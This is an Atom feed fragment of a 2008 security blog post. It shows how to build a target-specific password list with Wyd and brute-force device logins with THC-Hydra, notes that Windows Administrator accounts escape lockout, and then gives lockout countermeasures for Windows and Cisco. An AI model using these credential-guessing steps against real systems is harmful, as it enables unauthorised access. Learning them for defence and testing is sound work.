%7FVz%82F%01%87%017%7FD%88%88%8AxC%8D%8D%3Bt%91%92%87%40l%96%97%89%99u%11%A1%1C%9C%98A%5C%1A%A2%A2%A4%A5O%AA%AA%1B%A5%A6L%AF%AB%B1%ADM%B5%A1%AC%B8K%BA%A3%BC%97%B9%BA%23%B2%B4%C4%22%C6%BE%C8%C9%BDH%BF%28%B2%9D%CF%CC%CD%9CJ%D0%D1%CAG%D9%DA%D7%D4%B5%2F%DBE%DD%DE%C2%DC%D5%E6%92%E8%E1%E2%E3B%E5%29%EFA%F1%F2%DFD%F5%EA%8E%E4%E9.%E7%FC%EDvLb%F7J%8F%83%7Cv%10%CAQ%E8%86%A1%1A%87%0F%0B%1A%7Ckb%83%04%21%F9%04%05%05%04%2C%1FNW0%03%FFH%BA%DC%FE0%CA7%EA%988%EB%CD%89%FD%5D%28%8E%CDg%5Ed%AAJ%A7%B9%BE%B0%D7%BAq%1D%CE%AD%ADkx%BE%FF%90%DE%09Ht%08i%C5%E4%11%94%2C.-M%E5%13%15%05N5%80%2C%E0%27%E8%0AFO%8CV%AB%F3z%C1%C7%C9x%5C3%9BIB%F5%3A%DBvwU8%C9%9C%1C%B3%9F%F1H%10%7Bt%13%01%86%01%18%7Ew%2BL%11%83%5B%85%87%86%89%8AQ%8F%90%11%92%92%13%8A%8BE%8F%18%9A%87%94%7EI%97%A1%A2%88%9C%9D%9F%83%19%A9%AA%AB%A5%40%A0%AF%A9%1A%AC%3F%B5%A8%A2%B8%95%3B%BB%BC%9A%1B%B95%A7%1A%B0%C4%C50%C1%C2%9B%CA%B3%CC%CD%91%BD%D0%D1%2B%D3%D4%C3%1C%CB%29%D9%DA%CF%DC%BF*%DF%12%C9%1D%DD%22%E5%E6%B7%21%E9%1C%C7%1D%E7%E8%EFX%AE%22%F3%F4%D7%1D%F7%F8%ED%22%E3B%F4%0B%91O%9F%1BokR%144%E8%89%04%1B%85%FFF%BC%A9%E2l%14%C5%28%0B%2F%FE%C8%A8Q%13%07%C7%8E5%3E%82%84%21r%E4%8Bj%26%89%84K%A9%20%01%21%F9%04%05%05%04%2C%0ANW0%03%FFH%BA%DC%0E%10%B8I%AB%BD8%B7%C8%B5%FF%E0%C7%8DRh%9E%219%A2lK%A9%A4%2B%B7%B0%3A%DF%60m%E3%3C%A6%C7%BD%E0%E4%B7%12%1A%17%C4%CEq%99%8C%2C%8FM%C8%13%DA%9CR%89%A7%806%20%1Cx%07%99dv%AB%ED%7D%BF%3E%1D%8AL%C6%9D%CF%97Z%8B%BDu%BF%BDi%25%8B%5E%BF%DD%D1qN.%7Ce%17%02%87%02%18%7FxV%04%84%5C%86%88%87%8A%8BV%8F%90%15%92%92%17%8B%8CK%8F%18%9A%88%94%7FO%97%A1%A2%89%9C%9D%9F%84%19%A9%AA%AB%A5F%A0%AF%A9%1A%ACB%B5%A8%A2%B8%95A%BB%BC%9A%1E%B98%A7%1A%B0%C4%C53%C1%C2%9B%CA%B3%CC%CD%91%BD%D0%D1%83%AE%1F%C9%1F%CB%7B%D9%DA%B7%20%DDc%7C%21%DB%DC%BF%DE%E5%E6%E1%E2%E9%26%C7%20%E7%E8%EF%20%D3%C8%ED%EE%D7%F6%EB%26%F3%FAo%D6%F4cW%CDD%3D%7EmP%FC%03%E8I%60%21%85%F9%0C%02jDm%18E%2B%0B%2F%0A%C9%A8%B1%12%07%C7%8E8%3E%82%9C%21r%A4%8C%82%26%8D%3C%E3%91%21%F9%04%05%05%04%2C%02%3CBB%03%F5H%04%DC%FE%F0%A9I%AB%BD%98%C6%CD%5D%FE%E0%D5%8D%5Ch%82d*%9D%AC%A5%BE%40%2BO%B0%3A%DF%F5x%EF%F9%B6%FF%C0%A0pH%2C%1A%8F%C8%A4r%C9l%3A%9F%D0%A8tJ%3D%05%AE%81%AA%0C%CB%D5%9A%B8%E0%AC7%13%06%8F%2F%E5%F0%99%92.%AF%09m%F7%3A%AE%3E%D3%CD%F6%3B%F6%AD%DF%E7%FB%7C%80%81w%3B%02%86%02Fz%85%87%86Et%3F%8C%8CDmA%91%87%8Ex%40%96%97%98WC%9B%8D%20%03%A3%03R%A0%88%A2%A4%A3P%A7%A8%19%AA%AAO%A7%21%B0%A4N%AD%B4%B5%A5M%B3%B9%B5%BC%A0%27%BA%BBK%BD%BE%B0L%C6%C7%B1J%B8%C2%BA%C5%C1%2C%C3%CD%CA%CB%B6I%D6%D7%ABH%DA%DB%C4F%DE%A9%BFG%E2%E3%C8%E1%E6%1F%D4%E9%9B%3B%ECE%D27%F0D%F23%F4%F5%91%40%F8%F9%A1%3F%FCo%26%0CH%60%60%40%83o%10%AEQx%86aCt%0410K%21%F9%04%05%05%04%2C%02%1F0W%03%E7H%BA%0C%0E%2C%CAIk%7B%CE%EAM%B1%E7%E0%E6%8Da%29%8D%A8%A9%A2%A9Z%B2%AD%CB%C1%B1%AC%D1%A4%7D%E3%98.%F2%0F%DF%0E%08%11v%88E%E3%04%A9%AC%9B%16%1C4%0A%9B%0E%7B%D6_%26%CB%EDz%BF%E0%B0xL.%9B%CF%A1%80z%CDn%BB%DB%B6%B7%7C%CEv%D1%EFs%15%7E%0F7%F1%FF%01z%80%7Bv%83tq%86oh%8B%8C%8D%8E%8F%90%91%92%93h%02%96%02f%97%9Ac%9A%9D%98%60%9E%9D_%A1%9E%5D%A4%A1Y%A7%A8V%AA%A5S%AD%A2%AF%B0%97%A9%B3%96%AC%B6%9F%B2%B3%5C%B62%03%C0%03%16%BC.%C1%C1%15%AD6%C6%C6%14%A7%3E%CB%C7%CD%B1%3A%D0%D1%D2%B7B%D5%C0b%DA%C2a%DD%DE%60%DD%DC%E3%DF%DA%E4%D5c%E5%E2%E7%E6%ED%EC%E9%EE%F1%F0%D0%E8%F5%F6%CB%F8%CC%F2%F7%F4%F9%FA%DB%D4%CD%D3wf%9F%86%04%21%F9%04%09%05%04%2C%02%02%7C%7C%03%FFH%BA%DC%FE0%CAI%AB%BD8%EB%CD%BB%FF%60%28%8Edi%9Eh%AA%AEl%EB%BEp%2C%CFt%0A%DC%40%AD%938%BE%FF%9E%5E%0FH%CC%08%7D%C5%24%E5%88T%3A%1D%CC%E6sJ%88%E6%A8X%2B%96%AA%DDN%BB%5E%A5%F5%1AN%82%CB%C41%DA%1C%5D%B3%99%EEt%3B%0E%3C%D3i%EA%BB%CE%AE%8F%E5%FB3%7C%80%12%01%85%01%21%82%83%0E%86%86%20%89%8A%0B%8C%92%1Fs%90%10%92%98%1D%95%96%8B%98%99%1BG%9C%11%9E%9E%1CC%A2%A3%A4%9F%A8%26%AA%A5%AC%AD%AE%93%B0%24%B2%B3%B4%23%B6%8C%B8%B5%BA%85%BC%22%BE%BF%C0%21%C2%C4%C1%B6%C7%B9%AE%CA%CB%A4%CD%BD%B7%D0%CE%87%D3%D6%D7%D8%D9%DA%DB%DC%DD%DE%DF%E0%E1%C0%02%E4%E5%E6%E7%E8%E7%DC%E9%EC%ED%E6%DA%EE%F1%ED%D9%F2%F5%EA%D8%F6%F9%02%F4%FA%F5%F0%FD%EE%D6%01L%27%AE%A0%C1%83%08%13*%5C%C8%B0%A1%C3%87h%06H%1Cq%C1%C4%8B%10%2Fj%A4%D8pP%A3F%86%1E7*%0C%E9%11%21%C9%92%07O%8A4%A8%F2%23%CB%96%13M%C2%94%98r%26%C7%970%13%CE%5C%98%93%E7I%87%24%2B%AE%ACH%23%D1%A3H%93*%5D%CA%B4%A9%D3%A7P%A3J%9DJ%B5%AA%D5%ABX%B3j%DD%CA%B5%AB%D7%AF%60%C3%16I%3B" /&gt;&lt;p id="greasedLightboxLoadingText"&gt;Loading image&lt;/p&gt;&lt;p id="greasedLightboxLoadingHelp"&gt;Click anywhere to cancel&lt;/p&gt;&lt;/div&gt;&lt;div id="greasedLightboxError"&gt;&lt;p id="greasedLightboxErrorMessage"&gt;Image unavailable&lt;/p&gt;&lt;p id="greasedLightboxErrorContext"&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;/div&gt;&lt;img id="greasedLightboxPreload" /&gt;&lt;img id="greasedLightboxPrefetch" /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/522754168935527456-4101126199241816194?l=infosecsamurai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://infosecsamurai.blogspot.com/feeds/4101126199241816194/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=522754168935527456&amp;postID=4101126199241816194' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/522754168935527456/posts/default/4101126199241816194'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/522754168935527456/posts/default/4101126199241816194'/><link rel='alternate' type='text/html' href='http://infosecsamurai.blogspot.com/2008/07/bringing-balance-to-kaminskys-dns.html' title='Bringing Balance to Kaminsky&apos;s DNS Poisoning Vulnerability'/><author><name>Infosec Samurai</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_IYfuPD9qO24/SV0aRW1WgqI/AAAAAAAAAGg/fxf-015j9qo/S220/Dark_Dragon.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_IYfuPD9qO24/SI-cSI-XukI/AAAAAAAAACg/Q3mSr_cHwJ8/s72-c/msfassist.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-522754168935527456.post-4733760304688150578</id><published>2008-07-23T15:00:00.014-04:00</published><updated>2009-01-01T13:35:58.840-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Wyd'/><category scheme='http://www.blogger.com/atom/ns#' term='Attack Tools'/><category scheme='http://www.blogger.com/atom/ns#' term='Hydra'/><title type='text'>Then Yin and Yang of the Brute Force Attack</title><content type='html'>In today's post we are going to talk about Brute Force attacks against devices. Brute Force attacks are basically when we randomly guess user names and passwords on a device until we correctly hit the user name and password combination.&lt;br /&gt;&lt;br /&gt;The trick with this type of attack is making sure that you target the attack for what you are attacking in a very specific manner. In other words use a dictionary that has words created for your target to make it much more effective. We have a tool that can automatically create dictionaries for us. This tool is called Wyd. Wyd is a perl script that was created by the people at remote-exploit.org. To download it go &lt;a href="http://www.remote-exploit.org/codes_wyd.html"&gt;here&lt;/a&gt;. Wyd is designed to pull passwords from .DOC, .XLS, .MP3, and other file types and create dictionaries that are specific to the target.&lt;br /&gt;&lt;br /&gt;In this example we are going to pick a website and generate a dictionary file. We will use this blog for an example.&lt;br /&gt;&lt;br /&gt;First step is to get the website.&lt;br /&gt;&lt;strong&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;wget zen-security.blogspot.com&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;/strong&gt;&lt;br /&gt;This gives us an index.html file. Then we use wyd to create the dictionary file by doing the following commands.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;./wyd.pl -o output.txt index.html&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;/strong&gt;&lt;br /&gt;Now we have a dictionary file based on the words found on this page. We can then feed this into our next tool to use as part of the Attack. The next tool we are going to discuss is the THC-Hydra. This is probably the best brute forcing tool available it has tons of different options and many different protocol types. It also has a GTK GUI version which we will be showing here.&lt;br /&gt;&lt;br /&gt;To open Hydra we launch &lt;strong&gt;xhydra&lt;/strong&gt; and it looks like the following.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_IYfuPD9qO24/SIeyhRZnH3I/AAAAAAAAAB4/j-ls-jKlmcY/s1600-h/xhydra.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://2.bp.blogspot.com/_IYfuPD9qO24/SIeyhRZnH3I/AAAAAAAAAB4/j-ls-jKlmcY/s320/xhydra.jpg" alt="" id="BLOGGER_PHOTO_ID_5226342177263001458" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Next we select our target, port, and protocol type. We then click the next tab which is Passwords.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_IYfuPD9qO24/SIez8Vg6QNI/AAAAAAAAACA/DETfn2IYBgY/s1600-h/xhydra2.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_IYfuPD9qO24/SIez8Vg6QNI/AAAAAAAAACA/DETfn2IYBgY/s320/xhydra2.jpg" alt="" id="BLOGGER_PHOTO_ID_5226343741735452882" border="0" /&gt;&lt;/a&gt;On this tab we select the output.txt file we created with Wyd earlier. We need to put in a username to use a cisco attack. We also need to change the tuning on the tuning tab to 4. After this we move to the start tab and start the attack.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_IYfuPD9qO24/SIe1yECZeCI/AAAAAAAAACI/TkYmCXZI3o0/s1600-h/xhydra3.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://3.bp.blogspot.com/_IYfuPD9qO24/SIe1yECZeCI/AAAAAAAAACI/TkYmCXZI3o0/s320/xhydra3.jpg" alt="" id="BLOGGER_PHOTO_ID_5226345764268636194" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;After giving the attack some time you might just have a login to the device you are attacking.&lt;br /&gt;&lt;br /&gt;I recommend knowing THC-Hydra quite well as this type of tool is extremely valuable to the ethical hacker. Most people don't configure devices securely and this tool will usually hack it wide open.  I haven't shown the command line version of this tool but it is extremely powerful as well.&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;Countermeasures for Windows&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;To block this kind of Attack the best form of defense is an account lockout. This can be configured on most platforms pretty easily. To set up account lockout in windows you should use group policy and set the following parameters.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_IYfuPD9qO24/SIe5Kijl_jI/AAAAAAAAACQ/xmy3yEX1Pe4/s1600-h/gplockout.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_IYfuPD9qO24/SIe5Kijl_jI/AAAAAAAAACQ/xmy3yEX1Pe4/s320/gplockout.jpg" alt="" id="BLOGGER_PHOTO_ID_5226349483312676402" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Microsoft is somewhat deceptive on this stating that this procedure will lockout the accounts. It will lock them out with the exception of the Administrator account. This piece of information will allow you to own most windows servers if the Administrator account is present. To stop this we use a tool called passprop.exe. This tool allows the administrator account to lock out like other accounts. You can download this tool &lt;a href="http://theether.net/download/Microsoft/Utilities/passprop.exe"&gt;here.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Countermeasures for Cisco&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The countermeasures to block this kind of attack on Cisco platform consist of using AAA to setup the amount of tries you get for sign in.&lt;br /&gt;&lt;br /&gt;We start by doing&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:85%;" class="content" &gt;Router(config)# username mynet privilege 15 password &lt;span style="font-style: italic;"&gt;$3cr3tp@$$&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:85%;" class="content" &gt;Router(config)# aaa new-model&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:85%;" class="content" &gt;Router(config)# aaa local authentication  attempts max-fail 3&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:85%;" class="content" &gt;Router(config)# aaa authentication login  default local &lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;This creates a user named mynet that locks out after 3 failed attempts. To unlock an account log in as a different user and issue the following.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Router(config)#clear aaa local user lockout mynet&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;We have now attacked with and defended against a Brute Force attack. Our systems are now more secure because of our penetration test. This goes to show that sometimes chaos can bring balance. This is a life lesson in itself.&lt;div id="greasedLightboxOverlay"&gt;&lt;div id="greasedLightbox"&gt;&lt;img id="greasedLightboxImage" /&gt;&lt;div id="greasedLightboxCaption"&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div id="greasedLightboxMenu"&gt;&lt;a title="Update available (v0.17)" href="http://shiftingpixel.com/lightbox/" id="greasedLightboxTitleLink"&gt;Greased Lightbox - Update available (v0.17)&lt;/a&gt;&lt;div id="greasedLightboxButtons"&gt;&lt;a title="Next image (right arrow key)" id="greasedLightboxButtonRight"&gt;→&lt;/a&gt;&lt;a title="Previous image (left arrow key)" id="greasedLightboxButtonLeft"&gt;←&lt;/a&gt;&lt;a title="Magnify image (+ key)" id="greasedLightboxButtonPlus"&gt;+&lt;/a&gt;&lt;a title="Shrink image (- key)" id="greasedLightboxButtonMinus"&gt;-&lt;/a&gt;&lt;a title="Start/stop slideshow" id="greasedLightboxButtonSlide"&gt;↻&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;div id="greasedLightboxLoading"&gt;&lt;img style="border: medium none ;" src="data:image/gif,GIF89a%80%80%A2%FF%FF%FF%DD%DD%DD%BB%BB%BB%99%99%99%FF%21%FF%0BNETSCAPE2.0%03%01%21%F9%04%05%05%04%2C%02%02%7C%7C%03%FFH%BA%DC%FE0%CA%06*%988%EB%CD%BB_%96%F5%8Ddibax%AEl%AB%A5%A2%2B%CF.%5C%D1x%3E%DA%97%EE%FF%12%1EpHT%08%8B%C8G%60%190%1DI%83%E8%20%F9a2K%CF%8FTJ%E5X%AD%A4lg%BB%EDj%BE%D7%9D%0DJ%8E%9A3%E8%B4G%BCis%DF%93%B8%9CC%CF%D8%EFx%12zMsk%1E%7FS%81%18%83%850%87%7F%8Apz%8D%29%8Fv%91%92q%1D%7D%12%88%98%99%9A%1B%9C%10%88%89%9Fy%93%A2%86%1A%9E%A7%8B%8C%2F%AB%18%A5%AE%A0_%AA%8E%AC%90%B5%B6%60%19%A3%0D%AD%BC%AF%A1%28%B2%9D%BB%C3%C4h%BF%C7%A4%C9%CA%A8%A9A%CE%0E%B4%D1%BD%7B%10%C0%0A%C2%D8%D2%C5%DB%D5%0C%D7%DF%CB%B7%13%B9%C8%97x%02%EE%02%2B%B0%D47%13%DEln%1E%EF%EF%27%F2%2B%F6Zd%3A%E8%1Bhb%9A%3Fv%F7%DAp%18%C8%90%84%C1%13%D0%C6%94%CB%C0%B0%E2%08f2%14%02%2Ce%8A%FFb%C5%86U%B4%B5%28%B3%91%A3%C0%8F%20%CD%CD%E2%08h%21%CA%94*%AD%B1l%99%EF%25%C1%98%0Bf%D2%1Ca%F3fL%9D%F8X%F4%D4g%0EhG%17C%F7%0D3%EA%23%A9%3B%5EL%818u%054%C9P%AA%2C%DF%D8%C4%FA%8F%CAK%AE%08%15Y%AC%15%F6%13%D1%A5%3Bq%AA%5D%CB%B6%AD%DB%B7p%E3%CA%9DK%B7%AE%DD%BBx%F3B4%DA%F5%1B_a%7F%27%16%0D%0C%89%B0%E0h%86%13%F3%FD%A9%B8qV%95%8E%23%F7%85*%D9Me%B5%97%BB9f%1BY%AF%E7%CF%A0C%8B%1EM%BA%B4%E9%D3%A8S%AB%C6A%92r%D0Se1%C5%7Es8P%ED%24%26a%DF%1E2%13%EC%E4%1CUu%F7%06%12%D5wn%E0%C1%5D%0F%9FQ%1Cq%F2%83%3A1%3FO%F8Xzt%EA%C7%DB6%AFs%5D%EE%F4%95%D5%25%BEv%D1Z%7Cv%F0%BB%EB%05%CC%B8%DERz%99%BF%D5kd%11%91%C3y%F9%F3G%D4%2F%B1%DF%7E%FF%08%BC%F9%E9%F7_I%EDaW%12t%01%3EP%DE3%B3%B9g%DB%80%9A-%A8%20%84%8CAha%7C%90Q%A8%21%85%7Ea%B8%21%87%CE5%18%8C%88%E4%80%88%16%89%25%26%C8%A0%8A%19%A2%98%93%8B%11%B2%D8%21%8C1J%08%A0%89%9F%BC%97b%81%F8%C9x%A2%8F%F0%F1%D8%A3%8D%CA%E8%B8%23%91%2B%02%29%9C%92%232y%24%92%C6%A55%E4x%7E%E0H%9B%95%04%60%89%A1%22%5B%06%09%E5%8D4%9Aa%A4%97RNY%26%97X%D6x%E6%3ANv%91%A6%9ATr%D7%26%15of%19%26%99q%E6%28%A4%7Fs%929%E3Q%EE%7D%89%1Eiu%AAVhj%87%A2%96%E8i%8B%9A%D6%A8%A3%7B%AE%C6%27%A0%AE%24%21%F9%04%05%05%04%2C%0A%02W0%03%FFH%BA%DC%FE0%BE%40%83%BC8%EB%3D%2B%E5%60%28J%9E7%9E%28WVi%EBv%EB%2B%BF%EB7%DFgm%E1%3C%A8%F7%23%81P%90%FA%A1H%40k8D%19G%C9%24%8A%C9%CC%D5N%D1%E8%89%DA%1C%3DCYi%90%2B%F4%5EEa%B1%88%DC%F5%9DAi%F5%9A-%FAn%E2%CA%14%9B%E8%8E%C1%E3.%7B%21v%19x%2F%82*o%1A%86%87%88%1A%84%12xy%8Dd%89%7E%8B%803%7B%7C%19%90%10%928%8E%18%9E%0F%8C%A1t%9D%8A%91%99%3C%A2%24%AA%11%A6%AD%A8%17%A4%0C%B2%B3%B4%11%B6%0A%A0%40%0A%AE0%25%18%B8%3D%9B%B5%B0%0D%BE%BF%C0%BA%10%97%B1%AC%10%03%D4%03%81%CE%C2%C4%D2%0F%D5%D5K%D8G%DB%0D%DD%E4z%952%E2%E3%E4%E5c%5C3%E9%0C%EB%F2%EDm%E8Y%18%F2%F3se%3CZ%19%F9%FA%98%09%04%18P%E0%2F%82%EB%0C2C%C8N%21%10%86%DD%1C%1E%84HMb%0F%8A%15-%F2%C0%A8%F1%13%22%C3%8E%0F%09%82%0C%99o%E4%C4%86%26IZK%A9%21%01%21%F9%04%05%05%04%2C%1F%02W0%03%FFH%BA%DC%FEKH%01%AB%BD8%EB6%E7%FE%60%A8u%9Dh%9E%22%E9%A1l%5B%A9%92%2B%CF%04L%D1%F8i%E7%7C%B8%F7%A2%81p%C0%FA%9D%02%C8%40k8D%19E%C9%24%8A%C9%D4%C1%8EQ%A9%89%DA4%3DAYm%90%2B%F4%5E%A1a%E4%89%DC%05%7D5i%F1%98%9C%3A%83%E3K%B6%CF%BE%89%2B%F3tn%7Cpx.lD%1Fo%17%7E3%87%88%23%83%8B%8C%8Dz%1B%8A%15%93%94%95%19%97%0F%7E%7F4%87%96%91%98%859%A2%9C%A4%9E%A6%A7%9B%17%9D%0D%99%3C%A8%AF%AA%B1%AC%B3%B4%2F%B6%0B%9F%40%0B%BA%10%B0%0A%B2%40%8E%B5*%92%B8%C6%AE%C2%24%18%C5%BF%04%C1%0F%25%CAa.%DA%18%D4%28%D1%21%DB%DB%DD%812%CB%20%E2%E9%17%CD%2C%E7%1A%E9%F0%E4U8%D8%22%F0%F7%19%F39Q%26%F7%F8%D2%D2%FC%FD%03%D8C%E0%40%828%0C%C6C%C8C%A1%3A%86%09%1D%8E%83HC%E2D%8A3%2Cj%C3X%D1%14%22%C7%88%0A%3F%E6%08%29r%A4%C0%92%05%17%A2L%B9%D1D%02%21%F9%04%05%05%04%2C%3C%02BB%03%FEH4%3C%FA0%CAI%AB%9D%AD%DD%CD%7B%CD%99%27%8E%16%A8%91hj2i%3B%AE%8E%2Bo%F0l%7F%EB%ADG%B5%2B%FC%82%DD%A3%97%02%02%85%8B%5C%D1x%DC%11I%CC%A6%EE%29%8AJo%D4%8E%F5j%CBr%B6A%A1%F7%02F%26M%D0%ADy%5C%29%AF%95Z7%92%3D%91%CF%E1%1Bp%F8%8D%8E%5B%CDCx%16v%7C%20%7EQ%80%81%7Ddj%89%0At%0Az%8E%8F%82u%8D%93%90%92%93%94%21%8C%7F%9B%8A1%83%97.%01%A6%01%3B%84%28%A7%A7%3A%A4%AB%AC%AC7%AF%22%B1%B6%AEL%29%B6%BB%A9%5C%1E%BB%BC%A0%1B%C0%C1%C2%15%C4%C5%C6%12%C8%B7%CA%14%CC%B1%CE%13%D0%B2%D2%11%D4%AD%D6%D7%D8%A8%DA%10%DC%DE%CB%D0%E1%D3%C8%E4%CF%C4%E7%C7%CD%EA%EB%A6%ED%F0%F1%F2%F3%F4%F5%F6%F7%F8%F9%FA%FA%FD%FE%FF%03%024%26%B0%A0%C1%7F%A0%0E*4%B8i%A1%C3%81%93%1EJ%04%D0p%A2%C3%84%16%0F%12%CC%28%03PA%02%21%F9%04%05%05%04%2CN%0A0W%03%ECH%BA%BC%F3%A3%C9I%2B%85%D0%EA%7Dq%E6%E0%E6%7Da%29%8D%A4%A9%A2%A9Z%B2%91%BB%B2%B2%0B%D7%E6%8D%87p%BCs%BA%9F%28%28%B4%10%8B%1D%14r%A8%5CV%8ENF%2F%9A%1CQ%27%D3k%03z%E5%AA%04%60%81%91%B6%0B%87%9F%CD%9Ay%5D%C5%A8%D7%EC%B6%CF%04%AF%8F%1F%B2%BA%9D%AA%DF%3B%FB%7EH%80p%7C%83fQ%86%87%7F%89%60%85%8C%8E%86Z%89Z%0A%83%94%0B%80%97%0C%81%9A%95g%9D%A0%A1%A2%A3%A4%A5%A6%A7%A8%A9%AA*%01%AD%AE%AF%B0%B1%B05%B2%B5%B6%AF.%B7%BA%B6%AC%BB%BE%B8%26%BF%C2%01%BD%C3%BB%B9%C6%B7%B4%C9%B2%AB%CE%CF%D0%D1%D2%D3%D4%D52%D8%A5%D9%DC%A2%DC%DF%DA%9D%E0%DF%E2%E3%E4%94%E6%E3%E8%E9%E0Z%EC%ED%EE%EF%DD%F1%F2%D8%F4%F5%EB%F5%E1W%FA%FB%FC%F8%F9%D8%95K%17%8A%A0%B7s%A3%E6QH%21%F9%04%05%05%04%2CN%1F0W%03%E9H%BA%DC%FEn%C8%01%AB%BDmN%CC%3B%D1%A0%27F%608%8Eez%8A%A9%BAb%AD%FBV%B1%3C%93%B5v%D3%B9%BE%E3%3D%CA%2F%13%94%0C%81%BD%231%A8D%B6%9A%8F%1C%14R%9B%F2L%D6%AB0%CB%EDz%BF%E0%B0xL.%9B%CF%5C%81z%CDn%BB%DB%B3%B7%7C%CE%5E%D1%EF%F3%13%7E%0F%1F%F1%FF%02z%80%7Bv%83tq%86oh%8B%8C%8D%8E%8F%90%91%92%93%0A%01%96%01f%97%9Ac%9A%9D%98%60%9E%9D%A0%A1%A2%5D%A4%A1%A6%A7%9E%5C%AA%AB%AC%AD%9B%AF%B0%96%B2%B3%A9%B3%9FY%B8%B9%10%BE%2F%B8%15%BF%BF%C1%B0%BD%C4%C5%C6%A7%C8%C9%C07%CC%0F%CE%CA%D0%A5%D2%D3%CF%3B%B1%C3%D8b%D8%BE%DE%DDa%DF%D9_%DFc%E7%E3%E2%EA%D3%E1%EB%E6%EF%5E%E4%EE%CE%E8%F1%5D%E9%EC%F5%FA%FB%60%F9%FE%ED%E8%11%23%D3%CF%1E%B8%29%09%21%F9%04%05%05%04%2C%3C%3CBB%03%F9H%BA%DC%FEP%8DI%AB%BD6%EA%1D%B1%FF%15%27r%60%F9%8D%E8c%AEY%EAJl%FC%BE%B1%3C%BB%B5y%CF%F9%B9%FF%C0%A0pH%2C%1A%8F%C8%A4r%C9l%3A%9F%D0%A8tJ%10X%05%D4%D7u%9B%1Dm%BF%D8%AE%06%FC%15G%C8%60%B3%03MV3%D8mw%15%5E%96%CF%E9W%FB%1D%1Fv%F3%F3v%7FVz%82F%01%87%017%7FD%88%88%8AxC%8D%8D%3Bt%91%92%87%40l%96%97%89%99u%11%A1%1C%9C%98A%5C%1A%A2%A2%A4%A5O%AA%AA%1B%A5%A6L%AF%AB%B1%ADM%B5%A1%AC%B8K%BA%A3%BC%97%B9%BA%23%B2%B4%C4%22%C6%BE%C8%C9%BDH%BF%28%B2%9D%CF%CC%CD%9CJ%D0%D1%CAG%D9%DA%D7%D4%B5%2F%DBE%DD%DE%C2%DC%D5%E6%92%E8%E1%E2%E3B%E5%29%EFA%F1%F2%DFD%F5%EA%8E%E4%E9.%E7%FC%EDvLb%F7J%8F%83%7Cv%10%CAQ%E8%86%A1%1A%87%0F%0B%1A%7Ckb%83%04%21%F9%04%05%05%04%2C%1FNW0%03%FFH%BA%DC%FE0%CA7%EA%988%EB%CD%89%FD%5D%28%8E%CDg%5Ed%AAJ%A7%B9%BE%B0%D7%BAq%1D%CE%AD%ADkx%BE%FF%90%DE%09Ht%08i%C5%E4%11%94%2C.-M%E5%13%15%05N5%80%2C%E0%27%E8%0AFO%8CV%AB%F3z%C1%C7%C9x%5C3%9BIB%F5%3A%DBvwU8%C9%9C%1C%B3%9F%F1H%10%7Bt%13%01%86%01%18%7Ew%2BL%11%83%5B%85%87%86%89%8AQ%8F%90%11%92%92%13%8A%8BE%8F%18%9A%87%94%7EI%97%A1%A2%88%9C%9D%9F%83%19%A9%AA%AB%A5%40%A0%AF%A9%1A%AC%3F%B5%A8%A2%B8%95%3B%BB%BC%9A%1B%B95%A7%1A%B